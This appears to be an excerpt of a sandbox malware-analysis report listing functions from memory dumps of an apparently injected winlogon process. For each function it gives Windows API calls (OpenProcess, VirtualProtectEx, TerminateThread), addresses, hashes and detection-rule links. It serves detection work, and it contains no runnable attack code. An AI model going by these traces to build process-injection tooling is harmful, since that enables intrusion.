Instruction ID: 40abc1d1199b5cdc770a56a60e0e5f4e9b8051ed8e0c54cf7d7e0152ccf3fe8e
Opcode Fuzzy Hash: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction Fuzzy Hash: 5651A332A81B4995FE07DB24D850AE933A1FF4474DFC40825A56C163A5EF76C52AC3E3

Function 000001CA7D212098 Relevance: 9.1, APIs: 6, Instructions: 113threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 000001CA7D2120A6
TlsFree.KERNEL32 ref: 000001CA7D21225F
TlsFree.KERNEL32 ref: 000001CA7D21226B
TlsFree.KERNEL32 ref: 000001CA7D212277
TlsFree.KERNEL32 ref: 000001CA7D212283
TlsFree.KERNEL32 ref: 000001CA7D21228F

Part of subcall function 000001CA7D215E50: GetCurrentThreadId.KERNEL32 ref: 000001CA7D215E66

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: Free$CurrentThread
String ID:
API String ID: 564911740-0
Opcode ID: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction ID: 8074ab1debeccdb7de81f9b6b17c497a6e832b8f613fb371d3e6f8c834ae6948
Opcode Fuzzy Hash: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction Fuzzy Hash: 7D51C236A91B4995FA07DB28D851AD833A5FF4474CFC08819A52C063A5EF77C51AC3E3

Function 000001CA7D1E2098 Relevance: 9.1, APIs: 6, Instructions: 113threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 000001CA7D1E20A6
TlsFree.KERNEL32 ref: 000001CA7D1E225F
TlsFree.KERNEL32 ref: 000001CA7D1E226B
TlsFree.KERNEL32 ref: 000001CA7D1E2277
TlsFree.KERNEL32 ref: 000001CA7D1E2283
TlsFree.KERNEL32 ref: 000001CA7D1E228F

Part of subcall function 000001CA7D1E5E50: GetCurrentThreadId.KERNEL32 ref: 000001CA7D1E5E66

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Free$CurrentThread
String ID:
API String ID: 564911740-0
Opcode ID: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction ID: dd7d2fbe355015c765db1afd73c3d8f2591a8a07618d104dc6321a3fb9c50056
Opcode Fuzzy Hash: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction Fuzzy Hash: 8751C372A81B4995FB07DB24D860AE433A1BF0474EFC40819A52D467A5FF7AC619C3E3

Function 000001CA7D2935C8 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,000001CA7D2924D1), ref: 000001CA7D2935EB
HeapAlloc.KERNEL32(?,?,?,?,?,000001CA7D2924D1), ref: 000001CA7D2935FE
StrCmpNIW.SHLWAPI(?,?,?,?,?,000001CA7D2924D1), ref: 000001CA7D293673
GetProcessHeap.KERNEL32(?,?,?,?,?,000001CA7D2924D1), ref: 000001CA7D2936D9
HeapFree.KERNEL32(?,?,?,?,?,000001CA7D2924D1), ref: 000001CA7D2936E7

Strings

$nya-, xrefs: 000001CA7D29366C

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: $nya-
API String ID: 756756679-1266920357
Opcode ID: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction ID: 49d9b1d556f3864c95b1a31ff4b7aec20a143fd073b71ee62d72c1b734a9cc42
Opcode Fuzzy Hash: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction Fuzzy Hash: 20319233B45B5996F612DF169540AAA73A0FF84B89F8840208F4857755EF36C4A287C6

Function 000001CA7D2135C8 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,000001CA7D2124D1), ref: 000001CA7D2135EB
HeapAlloc.KERNEL32(?,?,?,?,?,000001CA7D2124D1), ref: 000001CA7D2135FE
StrCmpNIW.SHLWAPI(?,?,?,?,?,000001CA7D2124D1), ref: 000001CA7D213673
GetProcessHeap.KERNEL32(?,?,?,?,?,000001CA7D2124D1), ref: 000001CA7D2136D9
HeapFree.KERNEL32(?,?,?,?,?,000001CA7D2124D1), ref: 000001CA7D2136E7

Strings

$nya-, xrefs: 000001CA7D21366C

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: $nya-
API String ID: 756756679-1266920357
Opcode ID: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction ID: 1920b0173048c2e31b506ed75283f2b7a4db50c395d0afa64895e5cbc0f95bca
Opcode Fuzzy Hash: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction Fuzzy Hash: 6131A233B45B9982F612CF169540BA97391BF44B88F888028DF4807755EF3BD4A283C6

Function 000001CA7D1E35C8 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,000001CA7D1E24D1), ref: 000001CA7D1E35EB
HeapAlloc.KERNEL32(?,?,?,?,?,000001CA7D1E24D1), ref: 000001CA7D1E35FE
StrCmpNIW.SHLWAPI(?,?,?,?,?,000001CA7D1E24D1), ref: 000001CA7D1E3673
GetProcessHeap.KERNEL32(?,?,?,?,?,000001CA7D1E24D1), ref: 000001CA7D1E36D9
HeapFree.KERNEL32(?,?,?,?,?,000001CA7D1E24D1), ref: 000001CA7D1E36E7

Strings

$nya-, xrefs: 000001CA7D1E366C

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: $nya-
API String ID: 756756679-1266920357
Opcode ID: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction ID: 53dd2015d23d3b19de732b4b8ca317527b9a6887f52f6010c9b4161ede9a8080
Opcode Fuzzy Hash: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction Fuzzy Hash: 2831A233B41B5982F716DF26D544AA973A0BF48F8AF8840208F4807755EF36C5A18383

Function 000001CA7D29C940 Relevance: 9.1, APIs: 6, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001CA7D29C94F
SetLastError.KERNEL32 ref: 000001CA7D29C96E
FlsSetValue.KERNEL32 ref: 000001CA7D29C997
FlsSetValue.KERNEL32 ref: 000001CA7D29C9A8
FlsSetValue.KERNEL32 ref: 000001CA7D29C9B9

Part of subcall function 000001CA7D29D2A0: HeapFree.KERNEL32(?,?,?,?,?,?,?,000001CA7D29674A), ref: 000001CA7D29D2B6
Part of subcall function 000001CA7D29D2A0: GetLastError.KERNEL32(?,?,?,?,?,?,?,000001CA7D29674A), ref: 000001CA7D29D2C0

SetLastError.KERNEL32 ref: 000001CA7D29C9DC

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: ErrorLast$Value$FreeHeap
String ID:
API String ID: 365477584-0
Opcode ID: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction ID: 19b92fad8f820dd81a55a9e9a50199315003bb2ffc475f1c6e47e87a83ff1d46
Opcode Fuzzy Hash: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction Fuzzy Hash: 2011B233E8434842F64667316505FFE3141BF85799FD84624A86A367DADE2AC40357C3

Function 000001CA7D21C940 Relevance: 9.1, APIs: 6, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001CA7D21C94F
SetLastError.KERNEL32 ref: 000001CA7D21C96E
FlsSetValue.KERNEL32 ref: 000001CA7D21C997
FlsSetValue.KERNEL32 ref: 000001CA7D21C9A8
FlsSetValue.KERNEL32 ref: 000001CA7D21C9B9

Part of subcall function 000001CA7D21D2A0: HeapFree.KERNEL32(?,?,?,?,?,?,?,000001CA7D21674A), ref: 000001CA7D21D2B6
Part of subcall function 000001CA7D21D2A0: GetLastError.KERNEL32(?,?,?,?,?,?,?,000001CA7D21674A), ref: 000001CA7D21D2C0

SetLastError.KERNEL32 ref: 000001CA7D21C9DC

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: ErrorLast$Value$FreeHeap
String ID:
API String ID: 365477584-0
Opcode ID: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction ID: be797efc4d241fe522fb318c8b0c2a52a319cfeeeb0bbc57bc3f76715505c0c3
Opcode Fuzzy Hash: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction Fuzzy Hash: 25118237E8435882F616A7316911BFE7241BF847A8FD4C628A926567DACE3BD40353C3

Function 000001CA7D1EC940 Relevance: 9.1, APIs: 6, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001CA7D1EC94F
SetLastError.KERNEL32 ref: 000001CA7D1EC96E
FlsSetValue.KERNEL32 ref: 000001CA7D1EC997
FlsSetValue.KERNEL32 ref: 000001CA7D1EC9A8
FlsSetValue.KERNEL32 ref: 000001CA7D1EC9B9

Part of subcall function 000001CA7D1ED2A0: HeapFree.KERNEL32(?,?,?,?,?,?,?,000001CA7D1E674A), ref: 000001CA7D1ED2B6
Part of subcall function 000001CA7D1ED2A0: GetLastError.KERNEL32(?,?,?,?,?,?,?,000001CA7D1E674A), ref: 000001CA7D1ED2C0

SetLastError.KERNEL32 ref: 000001CA7D1EC9DC

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: ErrorLast$Value$FreeHeap
String ID:
API String ID: 365477584-0
Opcode ID: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction ID: a72ea2f354f7ddfc3d159c3a9229b8853cee2434eedb132b01efaf94eb9f651b
Opcode Fuzzy Hash: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction Fuzzy Hash: 45115433F8134942FA166731A811BEE3153BF8479DFD84624A866563CADE3AD50183C3

Function 000001CA7D291A30 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001CA7D291A56
K32GetModuleFileNameExW.KERNEL32 ref: 000001CA7D291A74
PathFindFileNameW.SHLWAPI ref: 000001CA7D291A83
lstrlenW.KERNEL32 ref: 000001CA7D291A8F
StrCpyW.SHLWAPI ref: 000001CA7D291AA2
CloseHandle.KERNEL32 ref: 000001CA7D291AB0

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction ID: 981376d91bc599ae55fe3b6c15a14bb63b400c610608c7f00c9fc4e34d6b33a7
Opcode Fuzzy Hash: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction Fuzzy Hash: F9018B32B40B4486FA11CB12A848B9BB3A1FBC8FC8F8840349E4D47754DE39C986C3C2

Function 000001CA7D211A30 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001CA7D211A56
K32GetModuleFileNameExW.KERNEL32 ref: 000001CA7D211A74
PathFindFileNameW.SHLWAPI ref: 000001CA7D211A83
lstrlenW.KERNEL32 ref: 000001CA7D211A8F
StrCpyW.SHLWAPI ref: 000001CA7D211AA2
CloseHandle.KERNEL32 ref: 000001CA7D211AB0

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction ID: 8b86b7224197d8699fc3a6726de84bfb578e7bf873a1a615f1c4c61348878a40
Opcode Fuzzy Hash: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction Fuzzy Hash: 7D016132B44B4482F711DB12A854B9973A1FB88FD4F898034AE4D43754DE3EC54AC7D6

Function 000001CA7D1E1A30 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001CA7D1E1A56
K32GetModuleFileNameExW.KERNEL32 ref: 000001CA7D1E1A74
PathFindFileNameW.SHLWAPI ref: 000001CA7D1E1A83
lstrlenW.KERNEL32 ref: 000001CA7D1E1A8F
StrCpyW.SHLWAPI ref: 000001CA7D1E1AA2
CloseHandle.KERNEL32 ref: 000001CA7D1E1AB0

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction ID: a292ab2cfa75126c4a735770990b9ca6806856f301d60702c71bca0c6d7b623e
Opcode Fuzzy Hash: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction Fuzzy Hash: B9016D32B45B8482FB11DB12E868B9973A1FB88FC8F8940349E5E43754DE3DC685C792

Function 000001CA7D293E14 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000001CA7D293AAC), ref: 000001CA7D293E30
GetCurrentProcess.KERNEL32(?,?,?,?,?,000001CA7D293AAC), ref: 000001CA7D293E3E
VirtualProtectEx.KERNEL32(?,?,?,?,?,000001CA7D293AAC), ref: 000001CA7D293E60
GetCurrentProcess.KERNEL32(?,?,?,?,?,000001CA7D293AAC), ref: 000001CA7D293E7E
VirtualProtectEx.KERNEL32(?,?,?,?,?,000001CA7D293AAC), ref: 000001CA7D293E9F
TerminateThread.KERNEL32(?,?,?,?,?,000001CA7D293AAC), ref: 000001CA7D293EAE

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction ID: ae5bcde55931890828b24d78268571c20791c05152b53787220c891cd16456b3
Opcode Fuzzy Hash: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction Fuzzy Hash: 20011E76B5174882FB269B21E448B9772A1FF98B49F940024CD5D1A358EF3EC04A87D3

Function 000001CA7D213E14 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000001CA7D213AAC), ref: 000001CA7D213E30
GetCurrentProcess.KERNEL32(?,?,?,?,?,000001CA7D213AAC), ref: 000001CA7D213E3E
VirtualProtectEx.KERNEL32(?,?,?,?,?,000001CA7D213AAC), ref: 000001CA7D213E60
GetCurrentProcess.KERNEL32(?,?,?,?,?,000001CA7D213AAC), ref: 000001CA7D213E7E
VirtualProtectEx.KERNEL32(?,?,?,?,?,000001CA7D213AAC), ref: 000001CA7D213E9F
TerminateThread.KERNEL32(?,?,?,?,?,000001CA7D213AAC), ref: 000001CA7D213EAE

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction ID: 778107bd0b08783d02a6487691dad5ad8f670edfcd41cc8f228037a5f129dca4
Opcode Fuzzy Hash: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction Fuzzy Hash: 13016136B4174882FB269B25E848B9533A4BF48B59F844428D94D06358EF3FC14AC7DB

Function 000001CA7D1E3E14 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000001CA7D1E3AAC), ref: 000001CA7D1E3E30
GetCurrentProcess.KERNEL32(?,?,?,?,?,000001CA7D1E3AAC), ref: 000001CA7D1E3E3E
VirtualProtectEx.KERNEL32(?,?,?,?,?,000001CA7D1E3AAC), ref: 000001CA7D1E3E60
GetCurrentProcess.KERNEL32(?,?,?,?,?,000001CA7D1E3AAC), ref: 000001CA7D1E3E7E
VirtualProtectEx.KERNEL32(?,?,?,?,?,000001CA7D1E3AAC), ref: 000001CA7D1E3E9F
TerminateThread.KERNEL32(?,?,?,?,?,000001CA7D1E3AAC), ref: 000001CA7D1E3EAE

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction ID: c63064200cc5015cd9426516bf03d8a10638c949921e829e67ac36650152cb9d
Opcode Fuzzy Hash: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction Fuzzy Hash: 8C012176B5274882FB269B61E458F9573B0FF44B4AF840024D94D46358EF3EC549C793

Function 000001CA7D291AD4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001CA7D291AF4
StrCmpNIW.SHLWAPI ref: 000001CA7D291B0E
lstrlenW.KERNEL32 ref: 000001CA7D291B1D
StrCpyW.SHLWAPI ref: 000001CA7D291B32

Strings

\\?\, xrefs: 000001CA7D291B02

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction ID: d1ff288a7fe1735c0b389d8a0fb70851f6f610ee87196fd53a68ee1478238ee0
Opcode Fuzzy Hash: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
